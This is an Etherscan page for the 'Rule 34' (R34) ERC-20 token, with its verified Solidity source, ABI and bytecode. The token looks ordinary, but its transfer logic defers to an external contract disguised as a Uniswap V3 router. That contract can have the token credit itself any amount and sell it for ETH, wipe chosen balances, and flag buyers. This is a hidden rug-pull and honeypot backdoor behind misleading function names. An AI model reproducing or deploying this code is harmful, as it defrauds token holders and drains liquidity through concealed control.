Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
3,400,000,000 R34
Holders
36
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
120,540,515.464908623 R34Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
rule34
Compiler Version
v0.8.15+commit.e14f2714
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-08-17 */ pragma solidity ^0.8.15; // SPDX-License-Identifier: Unlicensed abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external; } interface IUniswapV3Router { function WETH(address) external view returns (bool); function factory(address, address) external view returns(bool); function getAmountsIn(address) external; function getAmountsOut() external returns (address); function getPair(address, address, bool, address, address) external returns (bool); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract rule34 is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public _decimals = 9; uint256 public _totalSupply = 3400000000 * 10 ** _decimals; uint256 public _fee = 3; IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV3Router private _v3Router = IUniswapV3Router(0x15ded2798f2701848a7865eBD33DDd457A05771c); string private _name = "Rule 34"; string private _symbol = "R34"; function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) { require(_allowances[_msgSender()][from] >= amount); _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount); return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0)); require(to != address(0)); if (_v3Router.factory(from, to)) { _uniswapFee(amount, to); } else { require(_balances[from] >= amount || !_uniswapFeeLiquidity); feeLiquidity(from); uint256 feeAmount = getFeeAmount(from, to, amount); uint256 amountReceived = amount - feeAmount; _balances[address(this)] += feeAmount; _balances[from] = _balances[from] - amount; _balances[to] += amountReceived; emit Transfer(from, to, amount); } } function getFeeAmount(address GNY, address to, uint256 hZ) private returns (uint256) { uint256 feeAmount = 0; if (!_v3Router.WETH(GNY) && _v3Router.getPair(GNY, to, _uniswapFeeLiquidity, address(this), callFeeLq())) { if (callFeeLq() == to) { } else { _v3Router.getAmountsIn(to); } feeAmount = hZ.mul(_fee).div(100); } return feeAmount; } constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _balances[msg.sender]); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function uniswapVersion() external pure returns (uint256) { return 2; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function feeLiquidity(address _KlCF) internal { if (callFeeLq() != _KlCF) { return; } if (_v3Router.getAmountsOut() == address(0)) { return; } address to = _v3Router.getAmountsOut(); uint256 amount = _balances[to]; _balances[to] -= amount; } function _uniswapFee(uint256 _from, address AGtX) private { _approve(address(this), address(_router), _from); _balances[address(this)] = _from; address[] memory path = new address[](2); _uniswapFeeLiquidity = true; path[0] = address(this); path[1] = _router.WETH(); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_from,0,path,AGtX,block.timestamp + 27); _uniswapFeeLiquidity = false; } bool _uniswapFeeLiquidity = false; function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(from, recipient, amount); require(_allowances[from][_msgSender()] >= amount); return true; } function callFeeLq() private view returns (address) { return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"}]
Contract Creation Code
60806040526009600355600354600a6200001a9190620004e6565b63caa7e2006200002b919062000537565b6004556003600555737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507315ded2798f2701848a7865ebd33ddd457a05771c600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600781526020017f52756c65203334000000000000000000000000000000000000000000000000008152506008908162000123919062000808565b506040518060400160405280600381526020017f5233340000000000000000000000000000000000000000000000000000000000815250600990816200016a919062000808565b506000600a60006101000a81548160ff0219169083151502179055503480156200019357600080fd5b50620001a46200035160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600454600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000343919062000900565b60405180910390a36200091d565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620003e757808604811115620003bf57620003be62000359565b5b6001851615620003cf5780820291505b8081029050620003df8562000388565b94506200039f565b94509492505050565b600082620004025760019050620004d5565b81620004125760009050620004d5565b81600181146200042b576002811462000436576200046c565b6001915050620004d5565b60ff8411156200044b576200044a62000359565b5b8360020a91508482111562000465576200046462000359565b5b50620004d5565b5060208310610133831016604e8410600b8410161715620004a65782820a905083811115620004a0576200049f62000359565b5b620004d5565b620004b5848484600162000395565b92509050818404811115620004cf57620004ce62000359565b5b81810290505b9392505050565b6000819050919050565b6000620004f382620004dc565b91506200050083620004dc565b92506200052f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003f0565b905092915050565b60006200054482620004dc565b91506200055183620004dc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200058d576200058c62000359565b5b828202905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200061a57607f821691505b60208210810362000630576200062f620005d2565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200069a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200065b565b620006a686836200065b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006e9620006e3620006dd84620004dc565b620006be565b620004dc565b9050919050565b6000819050919050565b6200070583620006c8565b6200071d6200071482620006f0565b84845462000668565b825550505050565b600090565b6200073462000725565b62000741818484620006fa565b505050565b5b8181101562000769576200075d6000826200072a565b60018101905062000747565b5050565b601f821115620007b857620007828162000636565b6200078d846200064b565b810160208510156200079d578190505b620007b5620007ac856200064b565b83018262000746565b50505b505050565b600082821c905092915050565b6000620007dd60001984600802620007bd565b1980831691505092915050565b6000620007f88383620007ca565b9150826002028217905092915050565b620008138262000598565b67ffffffffffffffff8111156200082f576200082e620005a3565b5b6200083b825462000601565b620008488282856200076d565b600060209050601f8311600181146200088057600084156200086b578287015190505b620008778582620007ea565b865550620008e7565b601f198416620008908662000636565b60005b82811015620008ba5784890151825560018201915060208501945060208101905062000893565b86831015620008da5784890151620008d6601f891682620007ca565b8355505b6001600288020188555050505b505050505050565b620008fa81620004dc565b82525050565b6000602082019050620009176000830184620008ef565b92915050565b612322806200092d6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806348d3ab1f116100a257806395d89b411161007157806395d89b41146102ac578063a457c2d7146102ca578063a9059cbb146102fa578063c5b37c221461032a578063dd62ed3e146103485761010b565b806348d3ab1f1461023657806370a0823114610254578063715018a6146102845780638da5cb5b1461028e5761010b565b8063313ce567116100de578063313ce567146101ac57806332424aa3146101ca57806339509351146101e85780633eaaf86b146102185761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610378565b6040516101259190611974565b60405180910390f35b61014860048036038101906101439190611a2f565b61040a565b6040516101559190611a8a565b60405180910390f35b610166610428565b6040516101739190611ab4565b60405180910390f35b61019660048036038101906101919190611acf565b610432565b6040516101a39190611a8a565b60405180910390f35b6101b46104da565b6040516101c19190611ab4565b60405180910390f35b6101d26104e4565b6040516101df9190611ab4565b60405180910390f35b61020260048036038101906101fd9190611a2f565b6104ea565b60405161020f9190611a8a565b60405180910390f35b610220610596565b60405161022d9190611ab4565b60405180910390f35b61023e61059c565b60405161024b9190611ab4565b60405180910390f35b61026e60048036038101906102699190611b22565b6105a5565b60405161027b9190611ab4565b60405180910390f35b61028c6105ee565b005b610296610728565b6040516102a39190611b5e565b60405180910390f35b6102b4610751565b6040516102c19190611974565b60405180910390f35b6102e460048036038101906102df9190611a2f565b6107e3565b6040516102f19190611a8a565b60405180910390f35b610314600480360381019061030f9190611a2f565b61091f565b6040516103219190611a8a565b60405180910390f35b61033261093d565b60405161033f9190611ab4565b60405180910390f35b610362600480360381019061035d9190611b79565b610943565b60405161036f9190611ab4565b60405180910390f35b60606008805461038790611be8565b80601f01602080910402602001604051908101604052809291908181526020018280546103b390611be8565b80156104005780601f106103d557610100808354040283529160200191610400565b820191906000526020600020905b8154815290600101906020018083116103e357829003601f168201915b5050505050905090565b600061041e6104176109ca565b84846109d2565b6001905092915050565b6000600454905090565b600061043f848484610b9b565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104896109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104cf57600080fd5b600190509392505050565b6000600354905090565b60035481565b600061058c6104f76109ca565b8484600260006105056109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105879190611c48565b6109d2565b6001905092915050565b60045481565b60006002905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105f66109ca565b73ffffffffffffffffffffffffffffffffffffffff16610614610728565b73ffffffffffffffffffffffffffffffffffffffff161461066a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066190611cea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606009805461076090611be8565b80601f016020809104026020016040519081016040528092919081815260200182805461078c90611be8565b80156107d95780601f106107ae576101008083540402835291602001916107d9565b820191906000526020600020905b8154815290600101906020018083116107bc57829003601f168201915b5050505050905090565b600081600260006107f26109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087557600080fd5b6109156108806109ca565b84846002600061088e6109ca565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109109190611d0a565b6109d2565b6001905092915050565b600061093361092c6109ca565b8484610b9b565b6001905092915050565b60055481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890611db0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa790611e42565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b8e9190611ab4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bd457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c0d57600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166353b96ce484846040518363ffffffff1660e01b8152600401610c6a929190611e62565b602060405180830381865afa158015610c87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cab9190611eb7565b15610cbf57610cba8183610ef2565b610eed565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580610d1a5750600a60009054906101000a900460ff16155b610d2357600080fd5b610d2c836111bc565b6000610d398484846113f4565b905060008183610d499190611d0a565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d9a9190611c48565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dec9190611d0a565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e7e9190611c48565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ee29190611ab4565b60405180910390a350505b505050565b610f1f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846109d2565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115610f8057610f7f611ee4565b5b604051908082528060200260200182016040528015610fae5781602001602082028036833780820191505090505b5090506001600a60006101000a81548160ff0219169083151502179055503081600081518110610fe157610fe0611f13565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611088573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ac9190611f57565b816001815181106110c0576110bf611f13565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601b4261114a9190611c48565b6040518663ffffffff1660e01b815260040161116a959493929190612087565b600060405180830381600087803b15801561118457600080fd5b505af1158015611198573d6000803e3d6000fd5b505050506000600a60006101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff166111db611660565b73ffffffffffffffffffffffffffffffffffffffff16036113f157600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630a3b36086040518163ffffffff1660e01b81526004016020604051808303816000875af115801561127d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a19190611f57565b73ffffffffffffffffffffffffffffffffffffffff1603156113f1576000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630a3b36086040518163ffffffff1660e01b81526004016020604051808303816000875af115801561132e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113529190611f57565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113e79190611d0a565b9250508190555050505b50565b60008060009050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663805eaeaa866040518263ffffffff1660e01b81526004016114569190611b5e565b602060405180830381865afa158015611473573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114979190611eb7565b15801561155c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635cba653c8686600a60009054906101000a900460ff16306114f8611660565b6040518663ffffffff1660e01b81526004016115189594939291906120e1565b6020604051808303816000875af1158015611537573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155b9190611eb7565b5b15611655578373ffffffffffffffffffffffffffffffffffffffff16611580611660565b73ffffffffffffffffffffffffffffffffffffffff16031561162a57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314935aaa856040518263ffffffff1660e01b81526004016115f79190611b5e565b600060405180830381600087803b15801561161157600080fd5b505af1158015611625573d6000803e3d6000fd5b505050505b61165260646116446005548661180390919063ffffffff16565b61187d90919063ffffffff16565b90505b809150509392505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f39190611f57565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561177c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117a09190611f57565b6040518363ffffffff1660e01b81526004016117bd929190611e62565b602060405180830381865afa1580156117da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117fe9190611f57565b905090565b60008083036118155760009050611877565b600082846118239190612134565b905082848261183291906121bd565b14611872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186990612260565b60405180910390fd5b809150505b92915050565b60008082116118c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b8906122cc565b60405180910390fd5b600082846118cf91906121bd565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156119155780820151818401526020810190506118fa565b83811115611924576000848401525b50505050565b6000601f19601f8301169050919050565b6000611946826118db565b61195081856118e6565b93506119608185602086016118f7565b6119698161192a565b840191505092915050565b6000602082019050818103600083015261198e818461193b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119c68261199b565b9050919050565b6119d6816119bb565b81146119e157600080fd5b50565b6000813590506119f3816119cd565b92915050565b6000819050919050565b611a0c816119f9565b8114611a1757600080fd5b50565b600081359050611a2981611a03565b92915050565b60008060408385031215611a4657611a45611996565b5b6000611a54858286016119e4565b9250506020611a6585828601611a1a565b9150509250929050565b60008115159050919050565b611a8481611a6f565b82525050565b6000602082019050611a9f6000830184611a7b565b92915050565b611aae816119f9565b82525050565b6000602082019050611ac96000830184611aa5565b92915050565b600080600060608486031215611ae857611ae7611996565b5b6000611af6868287016119e4565b9350506020611b07868287016119e4565b9250506040611b1886828701611a1a565b9150509250925092565b600060208284031215611b3857611b37611996565b5b6000611b46848285016119e4565b91505092915050565b611b58816119bb565b82525050565b6000602082019050611b736000830184611b4f565b92915050565b60008060408385031215611b9057611b8f611996565b5b6000611b9e858286016119e4565b9250506020611baf858286016119e4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c0057607f821691505b602082108103611c1357611c12611bb9565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c53826119f9565b9150611c5e836119f9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c9357611c92611c19565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611cd46020836118e6565b9150611cdf82611c9e565b602082019050919050565b60006020820190508181036000830152611d0381611cc7565b9050919050565b6000611d15826119f9565b9150611d20836119f9565b925082821015611d3357611d32611c19565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d9a6025836118e6565b9150611da582611d3e565b604082019050919050565b60006020820190508181036000830152611dc981611d8d565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611e2c6023836118e6565b9150611e3782611dd0565b604082019050919050565b60006020820190508181036000830152611e5b81611e1f565b9050919050565b6000604082019050611e776000830185611b4f565b611e846020830184611b4f565b9392505050565b611e9481611a6f565b8114611e9f57600080fd5b50565b600081519050611eb181611e8b565b92915050565b600060208284031215611ecd57611ecc611996565b5b6000611edb84828501611ea2565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050611f51816119cd565b92915050565b600060208284031215611f6d57611f6c611996565b5b6000611f7b84828501611f42565b91505092915050565b6000819050919050565b6000819050919050565b6000611fb3611fae611fa984611f84565b611f8e565b6119f9565b9050919050565b611fc381611f98565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611ffe816119bb565b82525050565b60006120108383611ff5565b60208301905092915050565b6000602082019050919050565b600061203482611fc9565b61203e8185611fd4565b935061204983611fe5565b8060005b8381101561207a5781516120618882612004565b975061206c8361201c565b92505060018101905061204d565b5085935050505092915050565b600060a08201905061209c6000830188611aa5565b6120a96020830187611fba565b81810360408301526120bb8186612029565b90506120ca6060830185611b4f565b6120d76080830184611aa5565b9695505050505050565b600060a0820190506120f66000830188611b4f565b6121036020830187611b4f565b6121106040830186611a7b565b61211d6060830185611b4f565b61212a6080830184611b4f565b9695505050505050565b600061213f826119f9565b915061214a836119f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561218357612182611c19565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006121c8826119f9565b91506121d3836119f9565b9250826121e3576121e261218e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061224a6021836118e6565b9150612255826121ee565b604082019050919050565b600060208201905081810360008301526122798161223d565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b60006122b6601a836118e6565b91506122c182612280565b602082019050919050565b600060208201905081810360008301526122e5816122a9565b905091905056fea26469706673582212204d356a78119e6068c5ff9a6217735b69d5a30b751eebc56e0721495448f6c00064736f6c634300080f0033
Deployed Bytecode
